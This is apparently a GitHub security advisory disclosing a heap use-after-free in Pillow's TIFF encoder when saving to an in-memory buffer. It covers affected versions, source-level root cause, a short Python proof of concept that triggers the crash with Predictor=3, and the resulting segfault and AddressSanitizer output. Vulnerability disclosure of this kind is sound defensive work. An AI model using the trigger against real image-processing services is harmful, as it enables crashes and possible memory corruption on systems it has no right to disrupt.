GitHub Advisoryadvisory · PyPI
GHSA-4rr5-89j8-mwwm Pillow: Heap use-after-free when encoding TIFF to an in-memory buffer
MEDIUM
Official page ↗
- Aliases
- CVE-2026-112396
- Ecosystem
- PyPI
- Packages
- pillow
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-416
- Reviewed
- 2026-10-21
Affected packages
• PyPI pillow: >= 11.3.0, < 13.0.0 → fixed in 13.0.0
Description
Summary
Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When `TIFFWriteScanline` fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, `TIFFClose` flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.
Details
The failure path in `ImagingLibTiffEncode` frees `clientstate->data` for the in-memory case but does not close the TIFF or null `clientstate->tiff` (the file-descriptor branch just above it does set `tiff = NULL`):
• `src/libImaging/TiffDecode.c:1041-1046`
Teardown then calls `ImagingLibTiffEncodeCleanup`, which runs `TIFFClose(tiff)` because `tiff` is still set:
• `src/encode.c:99-101`
• `src/libImaging/TiffDecode.c:955`
`TIFFClose` flushes through `_tiffWriteProc`, which reallocs and memcpys into the freed `state->data`:
• `src/libImaging/TiffDecode.c:103-115`
The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.
PoC
```python
import io
from PIL import Image
In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3}) # 317 = Predictor
```
Run it:
```
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)
```
Observed on a source build of commit `3e2ab96` with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports `corrupted double-linked list` instead of a segfault; both are the same write into freed memory.
Under AddressSanitizer (build with `-fsanitize=address`), relevant frames:
```
==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
#1 _tiffWriteProc src/libImaging/TiffDecode.c:115
#3 TIFFFlush libtiff.so.6
#5 TIFFClose libtiff.so.6
#6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955
#7 _dealloc src/encode.c:100
freed by thread T0 here:
#1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045
#2 _encode src/encode.c:139
previously allocated by thread T0 here:
#1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863
#2 PyImaging_LibTiffEncoderNew src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc
```
The buffer allocated in `ImagingLibTiffEncodeInit` is freed in `ImagingLibTiffEncode`, then written by `_tiffWriteProc` during the `TIFFClose` flush that runs from the encoder's `_dealloc`.
Impact
Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a `BytesIO` or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.
Related
Alias · CVE (1)
- CVE-2026-112396 Pillow is a Python imaging library. vulnerability
Weakness · CWE (1)
- CWE-416 Use After Free weakness
References
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-4rr5-89j8-mwwm web
- https://nvd.nist.gov/vuln/detail/CVE-2026-112396 advisory
- https://github.com/python-pillow/Pillow/commit/dc95da20207827a062cfbf551ee9f6031465a8bb web
- https://github.com/python-pillow/Pillow package
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0 web